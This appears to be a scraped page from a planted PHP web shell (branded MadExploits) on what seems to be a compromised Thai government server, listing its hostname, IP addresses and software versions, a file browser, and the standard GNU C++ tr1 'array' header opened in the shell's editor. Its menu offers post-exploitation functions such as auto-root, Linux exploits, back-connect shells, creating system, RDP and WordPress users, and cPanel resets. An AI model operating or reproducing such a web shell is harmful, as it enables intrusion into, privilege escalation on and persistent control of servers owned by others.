Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
include /
c++ /
4.4.4 /
tr1_impl /
[ HOME SHELL ]
Name
Size
Permission
Action
array
7.75
KB
-rw-r--r--
boost_sp_counted_base.h
6.3
KB
-rw-r--r--
cctype
1.34
KB
-rw-r--r--
cfenv
1.84
KB
-rw-r--r--
cinttypes
1.82
KB
-rw-r--r--
cmath
18.79
KB
-rw-r--r--
complex
10.99
KB
-rw-r--r--
cstdint
1.94
KB
-rw-r--r--
cstdio
1.4
KB
-rw-r--r--
cstdlib
1.66
KB
-rw-r--r--
cwchar
1.61
KB
-rw-r--r--
cwctype
1.36
KB
-rw-r--r--
functional
63.66
KB
-rw-r--r--
functional_hash.h
5.21
KB
-rw-r--r--
hashtable
44.03
KB
-rw-r--r--
hashtable_policy.h
26.99
KB
-rw-r--r--
random
71.27
KB
-rw-r--r--
random.tcc
47.65
KB
-rw-r--r--
regex
90.5
KB
-rw-r--r--
type_traits
13.55
KB
-rw-r--r--
unordered_map
12.61
KB
-rw-r--r--
unordered_set
11.9
KB
-rw-r--r--
utility
3.49
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : array
// class template array -*- C++ -*- // Copyright (C) 2007, 2008, 2009 Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the // terms of the GNU General Public License as published by the // Free Software Foundation; either version 3, or (at your option) // any later version. // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // Under Section 7 of GPL version 3, you are granted additional // permissions described in the GCC Runtime Library Exception, version // 3.1, as published by the Free Software Foundation. // You should have received a copy of the GNU General Public License and // a copy of the GCC Runtime Library Exception along with this program; // see the files COPYING3 and COPYING.RUNTIME respectively. If not, see // <http://www.gnu.org/licenses/>. /** @file tr1_impl/array * This is an internal header file, included by other library headers. * You should not attempt to use it directly. */ namespace std { _GLIBCXX_BEGIN_NAMESPACE_TR1 /** * @brief A standard container for storing a fixed size sequence of elements. * * @ingroup sequences * * Meets the requirements of a <a href="tables.html#65">container</a>, a * <a href="tables.html#66">reversible container</a>, and a * <a href="tables.html#67">sequence</a>. * * Sets support random access iterators. * * @param Tp Type of element. Required to be a complete type. * @param N Number of elements. */ template<typename _Tp, std::size_t _Nm> struct array { typedef _Tp value_type; typedef value_type& reference; typedef const value_type& const_reference; typedef value_type* iterator; typedef const value_type* const_iterator; typedef std::size_t size_type; typedef std::ptrdiff_t difference_type; typedef std::reverse_iterator<iterator> reverse_iterator; typedef std::reverse_iterator<const_iterator> const_reverse_iterator; // Support for zero-sized arrays mandatory. value_type _M_instance[_Nm ? _Nm : 1]; // No explicit construct/copy/destroy for aggregate type. void #ifdef _GLIBCXX_INCLUDE_AS_CXX0X // DR 776. fill(const value_type& __u) #else assign(const value_type& __u) #endif { std::fill_n(begin(), size(), __u); } void swap(array& __other) { std::swap_ranges(begin(), end(), __other.begin()); } // Iterators. iterator begin() { return iterator(&_M_instance[0]); } const_iterator begin() const { return const_iterator(&_M_instance[0]); } iterator end() { return iterator(&_M_instance[_Nm]); } const_iterator end() const { return const_iterator(&_M_instance[_Nm]); } reverse_iterator rbegin() { return reverse_iterator(end()); } const_reverse_iterator rbegin() const { return const_reverse_iterator(end()); } reverse_iterator rend() { return reverse_iterator(begin()); } const_reverse_iterator rend() const { return const_reverse_iterator(begin()); } #ifdef _GLIBCXX_INCLUDE_AS_CXX0X const_iterator cbegin() const { return const_iterator(&_M_instance[0]); } const_iterator cend() const { return const_iterator(&_M_instance[_Nm]); } const_reverse_iterator crbegin() const { return const_reverse_iterator(end()); } const_reverse_iterator crend() const { return const_reverse_iterator(begin()); } #endif // Capacity. size_type size() const { return _Nm; } size_type max_size() const { return _Nm; } bool empty() const { return size() == 0; } // Element access. reference operator[](size_type __n) { return _M_instance[__n]; } const_reference operator[](size_type __n) const { return _M_instance[__n]; } reference at(size_type __n) { if (__builtin_expect(__n >= _Nm, false)) std::__throw_out_of_range(__N("array::at")); return _M_instance[__n]; } const_reference at(size_type __n) const { if (__builtin_expect(__n >= _Nm, false)) std::__throw_out_of_range(__N("array::at")); return _M_instance[__n]; } reference front() { return *begin(); } const_reference front() const { return *begin(); } reference back() { return _Nm ? *(end() - 1) : *end(); } const_reference back() const { return _Nm ? *(end() - 1) : *end(); } _Tp* data() { return &_M_instance[0]; } const _Tp* data() const { return &_M_instance[0]; } }; // Array comparisons. template<typename _Tp, std::size_t _Nm> inline bool operator==(const array<_Tp, _Nm>& __one, const array<_Tp, _Nm>& __two) { return std::equal(__one.begin(), __one.end(), __two.begin()); } template<typename _Tp, std::size_t _Nm> inline bool operator!=(const array<_Tp, _Nm>& __one, const array<_Tp, _Nm>& __two) { return !(__one == __two); } template<typename _Tp, std::size_t _Nm> inline bool operator<(const array<_Tp, _Nm>& __a, const array<_Tp, _Nm>& __b) { return std::lexicographical_compare(__a.begin(), __a.end(), __b.begin(), __b.end()); } template<typename _Tp, std::size_t _Nm> inline bool operator>(const array<_Tp, _Nm>& __one, const array<_Tp, _Nm>& __two) { return __two < __one; } template<typename _Tp, std::size_t _Nm> inline bool operator<=(const array<_Tp, _Nm>& __one, const array<_Tp, _Nm>& __two) { return !(__one > __two); } template<typename _Tp, std::size_t _Nm> inline bool operator>=(const array<_Tp, _Nm>& __one, const array<_Tp, _Nm>& __two) { return !(__one < __two); } // Specialized algorithms [6.2.2.2]. template<typename _Tp, std::size_t _Nm> inline void swap(array<_Tp, _Nm>& __one, array<_Tp, _Nm>& __two) { std::swap_ranges(__one.begin(), __one.end(), __two.begin()); } // Tuple interface to class template array [6.2.2.5]. /// tuple_size template<typename _Tp> class tuple_size; /// tuple_element #ifdef _GLIBCXX_INCLUDE_AS_CXX0X template<std::size_t _Int, typename _Tp> #else template<int _Int, typename _Tp> #endif class tuple_element; template<typename _Tp, std::size_t _Nm> struct tuple_size<array<_Tp, _Nm> > #ifdef _GLIBCXX_INCLUDE_AS_CXX0X { static const std::size_t value = _Nm; }; #else { static const int value = _Nm; }; #endif template<typename _Tp, std::size_t _Nm> #ifdef _GLIBCXX_INCLUDE_AS_CXX0X const std::size_t #else const int #endif tuple_size<array<_Tp, _Nm> >::value; #ifdef _GLIBCXX_INCLUDE_AS_CXX0X template<std::size_t _Int, typename _Tp, std::size_t _Nm> #else template<int _Int, typename _Tp, std::size_t _Nm> #endif struct tuple_element<_Int, array<_Tp, _Nm> > { typedef _Tp type; }; #ifdef _GLIBCXX_INCLUDE_AS_CXX0X template<std::size_t _Int, typename _Tp, std::size_t _Nm> #else template<int _Int, typename _Tp, std::size_t _Nm> #endif inline _Tp& get(array<_Tp, _Nm>& __arr) { return __arr[_Int]; } #ifdef _GLIBCXX_INCLUDE_AS_CXX0X template<std::size_t _Int, typename _Tp, std::size_t _Nm> #else template<int _Int, typename _Tp, std::size_t _Nm> #endif inline const _Tp& get(const array<_Tp, _Nm>& __arr) { return __arr[_Int]; } _GLIBCXX_END_NAMESPACE_TR1 }
Close